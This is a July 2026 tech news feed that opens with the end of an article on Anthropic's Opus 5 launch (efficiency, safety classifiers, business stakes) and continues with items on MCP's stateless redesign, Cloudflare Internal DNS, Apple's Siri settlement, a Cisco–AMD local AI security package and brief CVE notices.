Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.
Why token efficiency is becoming the real battleground for enterprise AI spending
Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.
Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."
Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.
The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 
Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.
Self-verifying AI agents and what they mean for the hidden costs of automation
Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.
In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.
Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."
This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.
Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks
The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.
On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.
When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."
The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."
The business stakes behind the launch: a $380 billion valuation and massive compute bets
The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.
That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.
The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.
Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.
Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.




IT leaders: Leading-edge AI insights await at TechCrunch Disrupt
Fri, 24 Jul 2026 19:56:29 +0200

		
					  
						




For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.



So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by registering for TechCrunch Disrupt 2026?



Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.



Get 10% off your TechCrunch Disrupt pass with the exclusive code CIO10. 



This year’s TechCrunch Disrupt, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.



Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.









And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.



That’s not to mention TechCrunch Disrupt’s signature Startup Battlefield, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.



And with M&A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.



Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?



Don’t miss your chance to experience TechCrunch Disrupt 2026. Book your pass today and use the exclusive code CIO10 to save 10% before prices increase.



Opinion: AI Rollout Begs the Question: What is Education For?
Fri, 24 Jul 2026 19:51:39 +0200
The University of Chicago is giving Claude Enterprise to students and staff to experiment with AI, but it hasn't defined its theory of what education is supposed to do or how AI will serve that purpose.


Apple’s $250 Million Siri Settlement Approved, iPhone Users Could Get Up to $95
Fri, 24 Jul 2026 19:20:12 +0200
Apple’s $250 million settlement over the delayed launch of its new Siri features has received preliminary court approval, bringing eligible iPhone owners closer to a possible payout of up to $95. The settlement website has not launched yet, so customers do not need to submit any forms or take action at this stage.



The lawsuit followed Apple’s decision to delay several Siri features that it had promoted alongside Apple Intelligence in June 2024. These features included personal context awareness, on-screen understanding, and deeper controls inside supported apps.



Apple used product presentations, its website, and a television advertisement featuring Bella Ramsey to promote the new Siri experience. However, the company delayed the personalised Siri upgrade in March 2025, which led customers to file a class action lawsuit over alleged false advertising.



Who qualifies for the Apple Siri settlement?



Eligible users must live in the United States and must have purchased one of the following iPhone models between June 10, 2024, and March 29, 2025:




iPhone 15 Pro



iPhone 15 Pro Max



iPhone 16



iPhone 16e



iPhone 16 Plus



iPhone 16 Pro



iPhone 16 Pro Max




Customers will likely need to provide purchase details, a serial number, or other device information when submitting a claim. The final requirements will appear on the official settlement website once it goes live.



Each approved claim will receive an estimated payment of $25 per eligible device. However, the payout can rise to as much as $95 if fewer people submit valid claims than expected.



According to the July 17 court document, eligible customers should receive email notices within about 45 days of preliminary approval. Customers who do not receive an email can still submit a claim if they meet the eligibility requirements.



Apple announced its revamped Siri system at WWDC 2026, and the assistant is now available through the iOS 27 developer beta. Apple plans to release iOS 27 publicly in September for the iPhone 15 Pro and newer models.


Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems
Fri, 24 Jul 2026 19:18:26 +0200

		
					  
						




Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Patel took to the stage during AMD CEO Lisa Su’s keynote to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and AMD are partnering to develop.



The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s Yash Sheth, senior director, engineering and research, in a blog post about the new package.



Ryzen AI Halo (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.


 width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">
AMD



Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.



Cisco also brings its AI Defense for model and agent security; DefenseClaw for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and Cisco Cloud Control offering a single pane of glass for unified policy and control, Sheth stated.



“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.



“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”



As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a statement from AMD.



“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.



“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.



A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:




AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.



AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.



The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.



Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.




The Economics of Agentic AI: Engineering for Imperfection
Fri, 24 Jul 2026 18:57:50 +0200
The price of adoption euphoria You played entirely by the book. You procured the most capable enterprise models, mandated adoption across your teams, and put the right metrics in place. The promise was a predictable boost in efficiency. And at first, it delivered. The demos were flawless. The prototypes worked. The agents reasoned with a […]


CVE-2026-15966 | Progress MOVEit Transfer up to 2025.1.4/2026.0.2 cross-domain policy (WID-SEC-2026-2512)
Fri, 24 Jul 2026 18:19:58 +0200
A vulnerability marked as problematic has been reported in Progress MOVEit Transfer up to 2025.1.4/2026.0.2. Affected is an unknown function. The manipulation leads to permissive cross-domain policy with untrusted domains.

This vulnerability is traded as CVE-2026-15966. It is possible to initiate the attack remotely. There is no exploit available.

It is suggested to upgrade the affected component.


CVE-2026-10697 | Progress MOVEit Transfer up to 2025.1.4/2026.0.2 improper authentication (WID-SEC-2026-2512)
Fri, 24 Jul 2026 18:19:57 +0200
A vulnerability, which was classified as critical, has been found in Progress MOVEit Transfer up to 2025.1.4/2026.0.2. This vulnerability affects unknown code. Performing a manipulation results in improper authentication.

This vulnerability was named CVE-2026-10697. The attack may be initiated remotely. There is no available exploit.

It is advisable to upgrade the affected component.


CVE-2026-15967 | Progress MOVEit Transfer up to 2025.1.4/2026.0.2 session expiration (WID-SEC-2026-2512)
Fri, 24 Jul 2026 18:19:56 +0200
A vulnerability, which was classified as critical, was found in Progress MOVEit Transfer up to 2025.1.4/2026.0.2. This issue affects some unknown processing. Executing a manipulation can lead to session expiration.

The identification of this vulnerability is CVE-2026-15967. The attack may be launched remotely. There is no exploit available.

You should upgrade the affected component.


Zimbra-Exploit CVE-2025-66376: Russische Hacker stehlen Mails im Browser - BornCity
Fri, 24 Jul 2026 18:19:18 +0200
Einmal eingedrungen, plündern die Hacker systematisch die Mailkonten. Nach Erkenntnissen der Ermittler stehlen sie in der Regel die letzten 90 ...


Cloudflare Internal DNS puts public and private DNS on one policy engine
Fri, 24 Jul 2026 18:18:13 +0200

		
					  
						




Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. 



While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means ongoing manual synchronization work for network teams. 



Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.



Cloudflare’s answer is a product it calls Internal DNS.



“Many organizations already use Cloudflare for their public DNS,” Enrique Somoza, product, performance and infrastructure at Cloudflare, told Network World. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” 



How it works



Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.



“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.



Policy first. The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”



No public path in. Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.



One hostname, multiple answers. Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”



Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.



View selection. The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. 



“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”



A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.



Latency and resilience. Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”



How this differs from split-horizon DNS



Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.



“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”



Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”



For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.



Early use cases and migration challenges



Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.



Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.



When it comes to migration, the friction customers report during migration is procedural rather than architectural. 



“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”



The Economics of Agentic AI: Engineering for Imperfection
Fri, 24 Jul 2026 18:09:30 +0200
The price of adoption euphoria You played entirely by the book. You procured the most capable enterprise models, mandated adoption across your teams, and put the right metrics in place. The promise was a predictable boost in efficiency. And at first, it delivered. The demos were flawless. The prototypes worked. The agents reasoned with a […]


Judge approves Apple's $250 million settlement offer over Siri lawsuit
Fri, 24 Jul 2026 17:50:14 +0200
A lawsuit over Apple's failure to deliver Apple Intelligence and Siri features is moving closer to a conclusion as a judge has provisionally approved the company's settlement offer.


Apple has settled a class-action lawsuit over its delayed Siri features.

The class action suit filed in 2025 alleged that people had bought new iPhones expressly because of Apple's promoting of Apple Intelligence features that it then did not deliver. Apple admitted in March 2025 that the new Siri features were delayed, but then in May 2025 offered a settlement.

Apple and the parties to the class action suit agreed to a $250 million settlement, but it had to be approved. Now in a filing in the US District Court, Northern District of California, judge Noel Wise has provisionally given approval.


 Continue Reading on AppleInsider | Discuss on our Forums


Model Context Protocol is going stateless to make scaling simpler
Fri, 24 Jul 2026 17:40:37 +0200

					  
						




Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.



“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.



“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.



Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.



“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.



This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.



Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.



It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.



MCP’s new features



Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.



Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.



Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.



They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.



MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.



Rebuilding the trust boundary



The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.



The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.



“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”



The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”



Updated MCP SDKs



To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.



That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.



Identifying and auditing those session dependencies may not be easy, Jena warned.



“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.



Model Context Protocol is going stateless to make scaling simpler
Fri, 24 Jul 2026 17:38:35 +0200

		
					  
						




Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.



“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.



“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.



Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.



“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.



This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.



Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.



It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.



MCP’s new features



Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.



Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.



Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.



They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.



MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.



Rebuilding the trust boundary



The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.



The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.



“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”



The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”



Updated MCP SDKs



To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.



That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.



Identifying and auditing those session dependencies may not be easy, Jena warned.



“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.



This article first appeared on InfoWorld.



Veterans Affairs signs $1.6B deal for an army of Salesforce AI agents
Fri, 24 Jul 2026 16:58:20 +0200
Makes agreement under nose of Oracle, which gets its own $7 billion defense deal


Jeff Bezos persönlich beteiligt: Amazon will mehr KI in Prime Video einsetzen
Fri, 24 Jul 2026 16:58:18 +0200
Nach einer missglückten Präsentation im Jahr 2025 treibt Jeff Bezos persönlich die KI-gestützte Personalisierung bei Prime Video voran. (KI, Amazon) 


AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict
Fri, 24 Jul 2026 16:46:19 +0200
AI agent workloads can vary dramatically in token use, making cloud costs difficult to forecast. New research shows why IT and finance teams need workflow-level controls.
The post AI Agent Cloud Costs Are Making Enterprise Budgets Harder to Predict appeared first on TechRepublic.


Dispatch records cut claims of major Apple Park fire damage down to size
Fri, 24 Jul 2026 16:29:40 +0200
Santa Clara County firefighters responded to an outside fire at an Apple property in Cupertino on July 23, but public evidence available and fire department reports refute major damage claims.

Apple Park headquarters

A public PulsePoint listing from Santa Clara County Fire shows an outside fire reported at 5:38 p.m. Pacific time on July 23 at 18922 Forge Drive. The department closed the call at 6:24 p.m., about 45 minutes later, and the listing identifies Engine 71 as the only assigned unit.

The dispatch record doesn't describe the damage, identify what burned, or say how the fire started. It also doesn't mention an Apple employee, a cigarette, injuries, evacuations, structural damage, or any disruption to Apple Park.

A July 24 post from ShrimpApplePro claimed that an Apple employee discarded a cigarette near the campus fence, starting a fire that spread to fencing installed in 2025. ShrimpApplePro didn't identify a source, provide a damage estimate, or offer evidence connecting an employee to the fire.


 Continue Reading on AppleInsider | Discuss on our Forums


I’ve been gaming for 40 years. Here are the best chairs in the UK for comfort, support and serious play
Fri, 24 Jul 2026 16:21:24 +0200
Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs
• The best games of 2026 so far
Comfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep because you’ve been sitting on an old chair for three hours. We’re spending more time playing games than ever before, so good posture matters. If you have set up a dedicated gaming space, then a rickety seat just won’t cut it.
From luxurious ergonomic thrones to cheap-and-cheerful bucket seats, the options available are bewildering. So I set out on an epic quest: to find the most comfortable, durable and stylish gaming chairs. Here’s what I discovered.
Best gaming chair overall:

 Secretlab Titan Evo
Best budget gaming chair:

 ThunderX3 Solo 360
 Continue reading...


Hauseigene IT-Dienstleister bleiben auf Wachstumskurs
Fri, 24 Jul 2026 16:21:18 +0200
Die konzerninternen IT-Dienstleister steigerten ihre Umsätze 2025 im Schnitt um neun Prozent. Beim Wachstum hängten sie ihre externen Kollegen wieder mal ab.


CVE-2026-16730 | Red Hat Enterprise Linux/OpenShift Container Platform dbus-broker resource consumption (EUVD-2026-48559)
Fri, 24 Jul 2026 16:08:06 +0200
A vulnerability marked as critical has been reported in Red Hat Enterprise Linux and OpenShift Container Platform. This impacts an unknown function of the component dbus-broker. This manipulation causes resource consumption.

